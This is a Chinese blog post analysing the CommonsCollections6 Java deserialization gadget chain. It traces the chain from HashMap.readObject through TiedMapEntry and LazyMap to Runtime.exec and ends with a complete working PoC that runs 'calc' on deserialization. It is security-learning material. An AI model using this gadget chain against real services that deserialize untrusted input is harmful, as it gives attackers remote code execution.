[Java反序列化]—CommonsCollections6

先贴个图

 

0x01:

CC 6 应该是CC1 和 URLDNS 的综合,有一定联系,审一下吧

JDK版本需低于 8u71    AnnotationInvocationHandler类的readObject()方法在8u71以后逻辑就发生了改变,不能再利用了,所以就需要找一个绕过高版本的利用链—CommonsCollections6

分析:

cc1 的LazyMap链子  readObject -> 动态代理 invoke() -> get () -> transform () ,而在8u71 之后,readObject 变化了 ,不能再用此方式调用get ,需要另找出路。

看看公开链子:

 Gadget chain:
 java.io.ObjectInputStream.readObject()
 	java.util.HashMap.readObject()
 		java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

通过TiedMapEntry.getValue()调用 get() ,其中key为传参, 可以根据 TiedMapEntry 类的构造器获取, 因为我们需要把 LAzyMap 后半段的链街上,所以要调用的是LazyMap的get()。

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }


    public Object getValue() {
        return map.get(key);
    } 
}

这里我们需要把map  = Lazymap,触发 LazyMap 的get() 方法

先构造一下基本的链子,前面跟cc1 的Lazy差不多,需要满足map=LazyMap,所以需要实例化一个TiedMapEntry。由于我们用的是map 所以这里的map传的是我们 LazyMap.decorate过后的outMap,也就是相当于传入了LazyMap。因为我们用到的是 map.get(),而key 是什么 并不重要。

public class cc6 {
    public static void main(String[] args) throws Exception {

        Transformer transformers[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();

        Map outmap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outmap, "snowy");

之后再看看哪里调用了getValue()

 在本类中找到了 hashCode() 方法:

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

好熟悉的 getKey().hashCode(),审计过urldns 的就清楚了,这是在HashMap中的hash方法中调用的key.hashCode()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

而HashMap类中重写了 自己的readObject() 方法,在readObject中调用了hash

return putVal(hash(key), key, value, false, true);

而我们想要调用 TiedMapEntry.hashCode ,所以我们要给key 赋值 TiedMapEntry 。value的话就随意了,所以就需要通过put传值

hashMap.put(tiedMapEntry,"snowy");

至此整条链子结束。

打断点发现了几个问题:

 到此处就已经弹出了 计算器,也就是在给map 和 key 赋值完,就会弹出计算器,并且还会弹两次。

这是因为我们在  put修改值的时候,其实就已经调用了hash 方法,接着一条链就调用了

如果我们不想让他执行,可以使后面的chainedTransformer 为其他值,然后需要的时候再改回来即可:

Map outerMap == LazyMap.decorate(map, chainedTransformer);

改为

Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));

因为是LazyMap类的调用的这个地方。

public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

 

而factory 是protected final Transformer factory

 

所以我们要反射爆破修改其值。

Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,chainedTransformer);

POC

package CommonsCollections6;

import com.sun.corba.se.impl.orbutil.ObjectUtility;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        //使其不自动调用
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"Sentiemnt2");
        
        //反射爆破factory
        Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,chainedTransformer);


        //真正的触发计算器
        serialize(hashMap);
        unserialize("1.txt");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

rethink

督促自己要多打断点 发现问题,而不是总参考其他文章。最后使的自己没了解透。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值